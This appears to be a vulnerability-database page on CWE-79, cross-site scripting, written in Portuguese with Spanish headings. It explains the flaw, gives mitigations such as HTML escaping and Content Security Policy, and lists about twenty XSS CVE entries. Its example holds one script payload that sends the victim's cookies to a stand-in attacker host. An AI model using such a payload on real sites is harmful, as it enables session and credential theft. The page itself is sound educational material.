Fallos del tipo CWE-79

28.989 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-3768MEDIUMCross-site Scripting (XSS) - Stored in bookstackapp/bookstackEPSS 0.6%CVE-2025-66481CRITICALDeepChat's Incomplete XSS Fix Allows RCE through Mermaid ContentEPSS 0.6%CVE-2025-22465MEDIUMReflected XSS in Ivanti Endpoint Manager before version 2024 SU1 or before version 2022 SU7 allows a remote unauthenticated attacker to execEPSS 0.6%CVE-2026-62948CRITICALOpenWrt odhcpd/LuCI: unauthenticated DHCPv6 client can inject lease-file lines via FQDN hostname → stored XSS in the LuCI admin UIEPSS 0.6%CVE-2019-25144MEDIUMWP HTML Mail < 2.2.11 - HTML injectionEPSS 0.6%CVE-2026-13424HIGHOnline Scheduling and Appointment Booking System <= 27.7 - Unauthenticated Stored Cross-Site Scripting via bookly_speed_up_update_addons AJAX actionEPSS 0.6%CVE-2022-20629MEDIUMCisco Firepower Management Center Software Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2022-20741MEDIUMCisco Secure Network Analytics Network Diagrams Application Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2022-48150MEDIUMShopware v5.5.10 was discovered to contain a cross-site scripting (XSS) vulnerability via the recovery/install/ URI.EPSS 0.6%CVE-2022-4692HIGHCross-site Scripting (XSS) - Stored in usememos/memosEPSS 0.6%CVE-2022-20627MEDIUMCisco Firepower Management Center Software Cross-Site Scripting VulnerabilitiesEPSS 0.6%CVE-2021-3767MEDIUMCross-site Scripting (XSS) - Stored in bookstackapp/bookstackEPSS 0.6%CVE-2021-4372MEDIUMWooCommerce Dynamic Pricing and Discounts <= 2.4.1 - Stored Cross-Site ScriptingEPSS 0.6%CVE-2025-26210HIGHDeepSeek R1 through V3.1 allows XSS, as demonstrated by JavaScript execution in the context of the run-html-chat.deepseeksvc.com domain. NOTEPSS 0.6%CVE-2023-33962MEDIUMJStachio XSS vulnerability: Unescaped single quotesEPSS 0.6%CVE-2023-27130MEDIUMCross Site Scripting vulnerability found in Typecho v.1.2.0 allows a remote attacker to execute arbitrary code via an arbitrarily supplied UEPSS 0.6%CVE-2014-125035LOWJobs-Plugin cross site scriptingEPSS 0.6%CVE-2022-38198MEDIUMBUG-000146513 - Reflected XSS vulnerability in ArcGIS ServerEPSS 0.6%CVE-2024-25868MEDIUMA Cross Site Scripting (XSS) vulnerability in CodeAstro Membership Management System in PHP v.1.0 allows a remote attacker to execute arbitrEPSS 0.6%CVE-2024-8604MEDIUMSourceCodester Online Food Ordering System Create an Account Page index.php cross site scriptingEPSS 0.6%